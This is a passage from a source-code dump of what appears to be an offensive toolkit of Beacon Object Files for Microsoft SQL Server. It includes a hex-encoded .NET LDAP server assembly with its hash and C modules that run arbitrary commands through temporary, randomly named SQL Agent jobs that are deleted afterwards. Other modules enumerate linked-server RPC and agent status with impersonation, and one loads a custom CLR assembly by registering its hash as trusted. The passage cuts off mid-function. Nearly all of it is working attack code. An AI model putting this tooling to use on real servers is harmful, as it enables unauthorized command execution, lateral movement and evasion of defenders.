F3E00000AD018000001283900000A283F00000A16FE010B072D1C0003A518000001282300000A280400002B280500002B0A3898000000036F3E00000AD020000001283900000A283F00000A16FE010B072D0F0003A520000001284100000A0A2B6D036F3E00000AD014000001283900000A283F00000A16FE010B072D1500178D140000010C081603A5140000019C080A2B3C036F3E00000AD00900001B283900000A283F00000A16FE010B072D0A0003740900001B0A2B167239000070036F3E00000A281900000A734200000A7A062A000013300200170000001800001100027B41000004166F0F00000A6F0700002B0A2B00062A9A021F1017281E0000060000027B410000041816038C18000001731F0000066F4300000A00002A2E020328220000060000002A00001330040032000000190000110002169128150000060A160B0217120128080000060C02160807581758282C000006166F0F00000A74090000020D2B00092A00001B300400810000001A0000110000178D140000010A020616176F2800000A0B0716FE01130711072D4F0006169128150000060C160D0212032809000006130411048D1400000113050211051611046F2800000A26030873290000065103507B410000041105161104282C0000066F4400000A00171306DE1100DE05260000DE00000314511613062B000011062A00000001100000000001006E6F00051300000113300500A60000001B00001100733200000A0A38850000000002039128150000060B0317581001160C0203120228080000060D03085810010773290000061304076F0D0000062C090916FE0216FE012B011700130611062D150011040203030958282C0000067D41000004002B20001104098D140000017D40000004020311047B400000041609282400000A00000611046F4300000A000309581001000304FE04130611063A6EFFFFFF0613052B0011052A000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000940B0000237E0000000C0000F809000023537472696E677300000000F815000068000000235553006016000010000000234755494400000070160000C004000023426C6F620000000000000002000001571DA209090E000000FA25330016000001000000220000000A000000420000002E0000003200000044000000390000000A0000001B000000030000000C0000000D00000009000000010000000300000001000000010000000700000000000A0001000000000006008A0083000600910083000600A0038D030600DE03D4030600CB04B0040600E20483000600A10582050600500630060600700630060600A80683000600D60630060A004F0744070A00750762070A00870762070A00A10762070E00D107C5070600DC07B004060012088300060029088300060046088300060055088300060070086408060085088D030600B30883000600C90883000600E20883000600EF0883000600F608830006004F09830006006A09830006006F0983000600D80083000600A80964080600D809830000000000010000000000010001008101100019002100050001000100010100002E00210009000300040001010000370021000900080004000101000049002100090028000400810110005700210005003E000400010010005D00210005003E000B00010010006100210005003F001700010010006F002100200042002700030110001F090000050042002D001100AF06E5011100FE06E50106069D000F005680A50012005680AF0012005680BB0012005680C300120006069D000F005680CB002A005680D8002A005680E0002A005680E8002A005680F2002A005680FE002A00568003012A00568014012A00568025012A0056802E012A00568033012A0056803E012A0056804A012A00568055012A0056805E012A00568067012A00568071012A0056807A012A0056807E012A0056808C012A0056809C012A005680A6012A005680B5012A005680BF012A005680C7012A005680D7012A005680E5012A005680F3012A00568001022A00568011022A00568021022A0006069D000F0056802B02B50056803702B50056804402B50056805202B50056806002B50056807202B50056808302B50056809902B5005680A702B5005680B602B5005680C102B5005680CD02B5005680D802B5005680E402B5005680F402B50056800503B50056801403B50056802403B50056803303B50056804303B50056805403B50001005B041F010100A50439010400AA043D010600D204410106003209C003A82000000000960096000A00010050200000000091009906DF0102007C20000000009100F106DF010300C8210000000096006903B900040034220000000096007B03C00006009022000000009600A903C60007003823000000009600B603CC000800C423000000009600C503D20009003024000000009600C503DB000C00AC24000000009600E503E3000E00CC24000000008608EC03E9001000E324000000008308F803ED001000EC240000000086080404F20011001C250000000086081604F600110038250000000086082004FB00110054250000000086082D040001110070250000000086083F04E90011008C250000000086184F0405011100AD250000000086184F040C011300CB250000000086184F0413011500F02500000000960055041901170008260000000081184F04ED0018001C260000000086081604F60019003C260000000086080404F20019005C260000000086082D0449011900A026000000008608200452011900E4260000000086083F045B01190028270000000086184F040501190057270000000086184F0463011B0093270000000086184F040C011E00C2270000000086184F046B012000FE270000000086184F04130123002D280000000086184F047301250069280000000084184F047A012800B028000000008600ED04800129008C29000000008600F60485012900B829000000008600F6048B012900A02A000000008100ED048F012900B42B0000000086080105AF012A00D72B0000000086184F04B3012A00FE2B0000000081184F047A012B000C2C0000000096000F05B8012C004C2C0000000096001B05BF012D00EC2C0000000091002A05C8012F0092280000000086184F04DB0132009A280000000086003709C703320000000100440500000100A60600000100A606000001004905101002004D05000001005C05000001006205000001006705000001005C05000002006E0502000300750500000100AE0502000200750500000100B50500000200BB0500000100BD0500000100C30500000200CD0500000100D80500000200CD0500000100E10500000200CD0500000100E90500000100E90500000100C30500000200F10500000100C30500000200F10500000300BD0500000100D80500000200F10500000100D80500000200F10500000300BD0500000100FF0500000200F10500000100FF0500000200F10500000300BD05000001000B0600000100BD05000001000F06000001000B06000001005C0500000100AE05020002001906000001005C0500000200200600000300670500000100A60639004F04DB0141004F04B30149004F04DB0159004F04DB010C002507F5010C003707F20061005907040269004F04080269008107DB01690091070F027100AF07140214004F0421028100EA0727028100EE073E021C00FE07580271000708DB0169000D08DB0191001908620209002008690291003308810291003B08AF0191004B088702A9005D088D02B1004F04B301910019089D02B1007E08A30219009108B402B9009F088B01A900AB08B9029100B908BE029100B908C402B900C008F200C900D508DB019100DD086902D100ED04CC00D900FC08D60281000609EF0281000E090303D100AB0810032100160920038100E50333039100B908400319004F04510319001B09570309004F04DB01A9005D0871030C004F047F0324004F047F032C004F047F031C004F04DB0134004609D30334004F04DB013C004F0421021C005809E40334006009AF0134000E09EE03F10081090904A90093091004D1009E091C040901B10923040901BA0929040900C4093804F100CC093D040901ED044504D100ED044B0411014F0454041C00F2097F031C004609D303080010001600080014001B0002001500D90108001800200008001C002500080024001600080028001B0008002C002000080030002500080034002E0008003800330008003C003800080040003D0008004400420008004800470008004C004C00080050005100080054005600080058005B0008005C006000080060006500080064006A00080068006F0008006C007400080070007900080074007E0008007800830008007C008800080080008D0008008400920008008800970008008C009C0008009000A10008009400A60008009800AB0008009C00B0000800A40016000800A8001B000800AC0020000800B00025000800B4002E000800B80033000800BC0079000800C00038000800C4003D000800C80042000800CC0047000800D0004C000800D40051000800D80056000800DC005B000800E00060000800E40065000800E8006A000800EC008D000800F00092000800F4009700210023001B002E00130096042E001B009F04400023001B00410023001B00600023001B00430123001B00600123001B00800123001B00C10723001B00FA016D029302A902CA02E1021703280349034D035C03620367036C0376037B0385039C03B203F4031704310459046504690472048004070001000800070009000C0000007404220100007C04260100008A042A01000090042F0100004900340100009904220100008A042A0100007C042601000049009501000090049E0100009904A70100003A05D50102000B00030001000C00030002000D00050002000E00070002000F000900020010000B00020011000D00020017000F0002001800110002001900130002001A00150002001B001700020027001900EE01190251029503AC03CD03DD03060451040480000000000000000000000000000000008E06000004000000000000000000000001007A000000000004000000000000000000000001008300000000000400000000000000000000000100B907000000000A000800000000004900FF041B0039021D00390248005E024B00FF024D00FF0253005E024800610400000000003C4D6F64756C653E006C6461705365727665722E646C6C004C646170537276006C646170417373656D626C7900546167436C61737300556E6976657273616C4461746154797065004C6461704F7065726174696F6E005574696C7300546167004C646170417474726962757465004C6461705061636B6574006D73636F726C69620053797374656D004F626A65637400456E756D006C697374656E0076616C75655F5F00556E6976657273616C004170706C69636174696F6E00436F6E74657874005072697661746500456E644F66436F6E74656E7400426F6F6C65616E00496E746567657200426974537472696E67004F63746574537472696E67004E756C6C004F626A6563744964656E746966696572004F626A65637444657363726970746F720045787465726E616C005265616C00456E756D65726174656400456D6265646465645044560055544638537472696E670052656C6174697665005265736572766564005265736572766564320053657175656E636500536574004E756D65726963537472696E67005072696E7461626C65537472696E6700543631537472696E6700566964656F746578537472696E6700494135537472696E670055544354696D650047656E6572616C697A656454696D650047726170686963537472696E670056697369626C65537472696E670047656E6572616C537472696E6700556E6976657273616C537472696E6700436861726163746572537472696E6700424D50537472696E670042696E64526571756573740042696E64526573706F6E736500556E62696E6452657175657374005365617263685265717565737400536561726368526573756C74456E74727900536561726368526573756C74446F6E6500536561726368526573756C745265666572656E6365004D6F6469667952657175657374004D6F64696679526573706F6E7365004164645265717565737400416464526573706F6E73650044656C526571756573740044656C526573706F6E7365004D6F64696679444E52657175657374004D6F64696679444E526573706F6E736500436F6D706172655265717565737400436F6D70617265526573706F6E7365004162616E646F6E5265717565737400457874656E6465645265717565737400457874656E646564526573706F6E736500496E7465726D656469617465526573706F6E736500537472696E67546F42797465417272617900427974654172726179546F537472696E670053797374656D2E436F6C6C656374696F6E730042697441727261790042697473546F537472696E6700496E74546F4265724C656E677468004265724C656E677468546F496E740053797374656D2E494F0053747265616D00526570656174006765745F54616742797465007365745F54616742797465006765745F4973436F6E7374727563746564006765745F436C617373006765745F4461746154797065006765745F4C6461704F7065726174696F6E006765745F436F6E7465787454797065002E63746F72005061727365003C546167427974653E6B5F5F4261636B696E674669656C640054616742797465004973436F6E737472756374656400436C61737300446174615479706500436F6E7465787454797065005F7461670056616C75650053797374656D2E436F6C6C656374696F6E732E47656E65726963004C6973746031004368696C6441747472696275746573004E756C6C61626C6560310047657442797465730047657456616C75650054006765745F4D65737361676549640050617273655061636B65740054727950617273655061636B657400506172736541747472696275746573004D657373616765496400706F727400686578007472696D576869746573706163650062797465730062697473006C656E677468006F66667365740062657242797465436F756E740053797374656D2E52756E74696D652E496E7465726F705365727669636573004F75744174747269627574650073747265616D007374756666006E0076616C7565006F7065726174696F6E00697353657175656E636500646174615479706500636F6E746578740074616742797465006973436F6E737472756374656400636F6E746578745479706500746167006D6573736167654964007061636B65740063757272656E74506F736974696F6E0053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465006C646170536572766572003C6C697374656E3E625F5F30006F0046756E636032004353243C3E395F5F436163686564416E6F6E796D6F75734D6574686F6444656C65676174653200436F6D70696C657247656E657261746564417474726962757465003C6C697374656E3E625F5F31004353243C3E395F5F436163686564416E6F6E796D6F75734D6574686F6444656C6567617465330047657456616C75654F7244656661756C74006765745F48617356616C75650053797374656D2E4E657400495041646472657373004C6F6F706261636B0053797374656D2E4E65742E536F636B657473005463704C697374656E657200537461727400546370436C69656E7400416363657074546370436C69656E74004E6574776F726B53747265616D0047657453747265616D0053797374656D2E436F72650053797374656D2E4C696E7100456E756D657261626C650049456E756D657261626C65603100416E790053696E676C654F7244656661756C74006765745F4974656D00436C6F73650053746F7000537472696E6700466F726D617400546F537472696E6700457863657074696F6E005265706C616365006765745F4C656E677468004279746500537562737472696E6700436F6E7665727400546F427974650053797374656D2E5465787400537472696E674275696C64657200417070656E640049456E756D657261746F7200476574456E756D657261746F72006765745F43757272656E7400546F496E74333200496E74333200436F6E636174004D6F76654E6578740049446973706F7361626C6500446973706F7365005472696D00426974436F6E7665727465720042756666657200417272617900426C6F636B436F7079005265766572736500546F4172726179005265616400476574003C3E635F5F446973706C6179436C61737332006C697374003C47657442797465733E625F5F300041646452616E676500416374696F6E603100466F7245616368006765745F436F756E7400547970650052756E74696D655479706548616E646C65004765745479706546726F6D48616E646C65004368616E67655479706500546F426F6F6C65616E00456E636F64696E67006765745F5554463800476574537472696E670047657454797065006F705F457175616C69747900496E76616C69644F7065726174696F6E457863657074696F6E00416464000000000100133C0075006E006B006E006F0077006E003E00000F7B0030007D003A007B0031007D0000032000000D7B0030003A00780032007D00002B4E006F007400680069006E006700200066006F0075006E006400200066006F00720020007B0030007D000000000063008CD6EC38324589207D1084EFC3030008B77A5C561934E0890400010E080206080306110C040000000004010000000402000000040300000003061110040400000004050000000406000000040700000004080000000409000000040A000000040B000000040C000000040D000000040E000000040F0000000410000000041100000004120000000413000000041400000004150000000416000000041700000004180000000419000000041A000000041B000000041C000000041D000000041E000000030611140600021D050E020500010E1D050500010E120D0500011D0508080003081D0508100807000208121110080500020E0E0803200005042001010503200002042000110C042000111004200011140620020111140206200201111002052002010502050001121C050206050328000503280002042800110C042800111004280011140306121C03061D0507061512150112200820001511190111140820001511190111100720001511190105072003011114021C072003011110021C0620030105021C05200101121C0420001D05053001001E000320001C0520011D051C082800151119011114082800151119011110072800151119010503200008042001010806000112241D050800020212111012240C00031512150112201D050808032800080101032000010500010212200806151229021220020615111901111404200013000907020215111901111403061231062002011231080420001239042000123D0715122902122002052002011C181110010202151245011E00151229021E0002040A011220121001021E00151245011E00151229021E000206151215011220052001130008030A010E0600030E0E1C1C0320000E13070B0E12351239123D12240E0E1220124D0E020520020E0E0E0520020E0808050002050E08090705081D05081D05020500020E0E1C05200112590E0A07061259050E1D050802042000125D040001081C0500020E1C1C0500020E0E0E0B0707080E1C0E125D0212650A000501127108127108080D07071D0505081D051D05021D050F100101151245011E00151245011E00030A01050C1001011D1E00151245011E00060002081D050808070508081D050802072003081D0508080A0706081D05081D0508020C100102151245011E001E00080800010E151245010E0307010E03070105052001011D050420010208050702021D05040701110C040701111004070111140400010502040701121C030701020520010113000F070315111901111402151119011114061511190111100F0703151119011110021511190111100515111901050D07031511190105021511190105060615121501050520010112200515121501050920010115124501130006151275011220092001011512750113000520001D13001107061D051D0515127501122012281D0502021E000600011279117D0600021C1C12790407011E00060002021D05080500001280850720030E1D0508080607031D051C02042000127907000202127912790520011D050E0500011D0502021D05042001010E0707031D05021D05030A010803070108080704121C080812240D07081D0508121C08081D050202150707151215011220121C08081224151215011220020801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010000F848000000000000000000000E490000002000000000000000000000000000000000000000000000004900000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058600000540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D00650000006C006400610070005300650072007600650072002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006C006400610070005300650072007600650072002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000C000000203900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n\n//\n// This is the SHA-512 hash for the LDAP server .NET assembly in SQL byte format\n//\nchar* LDAP_DLL_HASH = \"45077873b42284716609bf5d675d98ffa13c20e53008bb3d3f26c0971bcf7d9adf80c2db84300a81168e63d902532235c8daf852d58f9f2eadcb517fb5b83fb9\";\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/agentcmd/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_agent.c\"\n#include \"sql_modules.c\"\n\nvoid ExecuteAgentCommand(char *server, char *database, char *link, char *impersonate, char *command, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *jobName = NULL;\n  char *stepName = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Executing command in SQL Agent job on %s\\n\\n\", server);\n  } else {\n    internal_printf(\"[*] Executing command in SQL Agent job on %s via %s\\n\\n\", link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  if (link != NULL) {\n    if (IsRpcEnabled(stmt, link)) {\n      internal_printf(\"[*] RPC out is enabled\\n\");\n    } else {\n      internal_printf(\"[!] RPC out is not enabled\\n\");\n      goto END;\n    }\n\n    ODBC32$SQLCloseCursor(stmt);\n  }\n\n  if (!IsAgentRunning(stmt, link, impersonate)) {\n    internal_printf(\"[!] SQL Agent is not running\\n\");\n    goto END;\n  }\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] SQL Agent is running\\n\");\n\n  InitRandomSeed();\n  jobName = GenerateRandomString(8);\n  stepName = GenerateRandomString(8);\n\n  if (!AddAgentJob(stmt, link, impersonate, command, jobName, stepName)) {\n    internal_printf(\"[!] Failed to add agent job\\n\");\n    goto END;\n  }\n\n  ClearCursor(stmt);\n  internal_printf(\"[*] Added job\\n\");\n\n  if (!GetAgentJobs(stmt, link, impersonate)) {\n    internal_printf(\"[!] Failed to get agent jobs\\n\");\n    goto END;\n  }\n\n  internal_printf(\"\\n\");\n  PrintQueryResults(stmt, TRUE);\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  internal_printf(\"\\n[*] Executing job %s and waiting 5 seconds...\\n\", jobName);\n  ExecuteAgentJob(stmt, link, impersonate, jobName);\n\n  ClearCursor(stmt);\n\n  if (!DeleteAgentJob(stmt, link, impersonate, jobName)) {\n    internal_printf(\"[!] Failed to delete agent job\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Job %s deleted\\n\", jobName);\n\n  ClearCursor(stmt);\n\n  if (!GetAgentJobs(stmt, link, impersonate)) {\n    internal_printf(\"[!] Failed to get agent jobs\\n\");\n    goto END;\n  }\n\n  internal_printf(\"\\n\");\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  if (jobName != NULL)\n    intFree(jobName);\n  if (stepName != NULL)\n    intFree(stepName);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *command;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  command = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  ExecuteAgentCommand(server, database, link, impersonate, command, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/agentstatus/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_agent.c\"\n#include \"sql_modules.c\"\n\nvoid CheckAgentStatus(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Getting SQL agent status on %s\\n\\n\", server);\n  } else {\n    internal_printf(\"[*] Getting SQL agent status on %s via %s\\n\\n\", link,\n                    server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  if (!IsAgentRunning(stmt, link, impersonate)) {\n    internal_printf(\"[!] SQL Agent is not running\\n\");\n    goto END;\n  }\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] SQL Agent is running\\n\\n\");\n\n  if (!GetAgentJobs(stmt, link, impersonate)) {\n    internal_printf(\"[!] Failed to get agent jobs\\n\");\n    goto END;\n  }\n\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckAgentStatus(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/checkrpc/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckRpc(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Enumerating RPC status of linked servers on %s\\n\\n\",\n                    server);\n  } else {\n    internal_printf(\n        \"[*] Enumerating RPC status of linked servers on %s via %s\\n\\n\", link,\n        server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT name, is_rpc_out_enabled FROM sys.servers\";\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckRpc(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/clr/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_clr.c\"\n#include \"sql_modules.c\"\n\nvoid ExecuteClrAssembly(char *server, char *database, char *link, char *impersonate, char *function, char *hash, char *hexBytes, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  InitRandomSeed();\n  char *dllPath = GenerateRandomString(8);\n  char *assemblyName = GenerateRandomString(8);\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Performing CLR custom assembly attack on %s\\n\\n\",\n                    server);\n  } else {\n    internal_printf(\n        \"[*] Performing CLR custom assembly attack on %s via %s\\n\\n\", link,\n        server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  if (IsModuleEnabled(stmt, \"clr enabled\", link, impersonate)) {\n    internal_printf(\"[*] CLR is enabled\\n\");\n  } else {\n    internal_printf(\"[!] CLR is not enabled\\n\");\n    goto END;\n  }\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  if (link != NULL) {\n    if (IsRpcEnabled(stmt, link)) {\n      internal_printf(\"[*] RPC out is enabled\\n\");\n    } else {\n      internal_printf(\"[!] RPC out is not enabled\\n\");\n      goto END;\n    }\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\n  if (AssemblyHashExists(stmt, hash, link, impersonate)) {\n    internal_printf( \"[!] Assembly hash already exists in sys.trusted_assesmblies\\n\");\n    internal_printf(\"[*] Dropping existing assembly hash before continuing\\n\");\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n\n    if (!DeleteTrustedAssembly(stmt, hash, link, impersonate)) {\n      internal_printf(\"[!] Failed to drop existing assembly hash\\n\");\n      goto END;\n    }\n  } else {\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\n  if (!AddTrustedAssembly(stmt, dllPath, hash, link, impersonate)) {\n    internal_printf(\"[!] Failed to add trusted assembly\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \\\"%s\\\"\\n\", dllPath);\n\n  if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate)) {\n    internal_printf(\"[!] Failed to drop existing assembly and procedure\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Creating a new custom assembly with the name \\\"%s\\\"\\n\", assemblyName);\n  if (!CreateAssembly(stmt, assemblyName, hexBytes, link, impersonate)) {\n    internal_printf(\"[!] Failed to create custom assembly. This probably happened as the assembly was uploaded before using a different name. See SQL error message\\n\");\n    goto END;\n  }\n\n  if (!AssemblyExists(stmt, assemblyName, link, impersonate)) {\n    internal_printf(\"[!] Failed to create custom assembly\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, hash, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate);\n    goto END;\n  }\n\n  internal_printf(\"[*] Loading DLL into stored procedure \\\"%s\\\"\\n\", function);\n  CreateAssemblyStoredProc(stmt, assemblyName, function, FALSE, link, impersonate);\n\n  if (!AssemblyStoredProcExists(stmt, function, link, 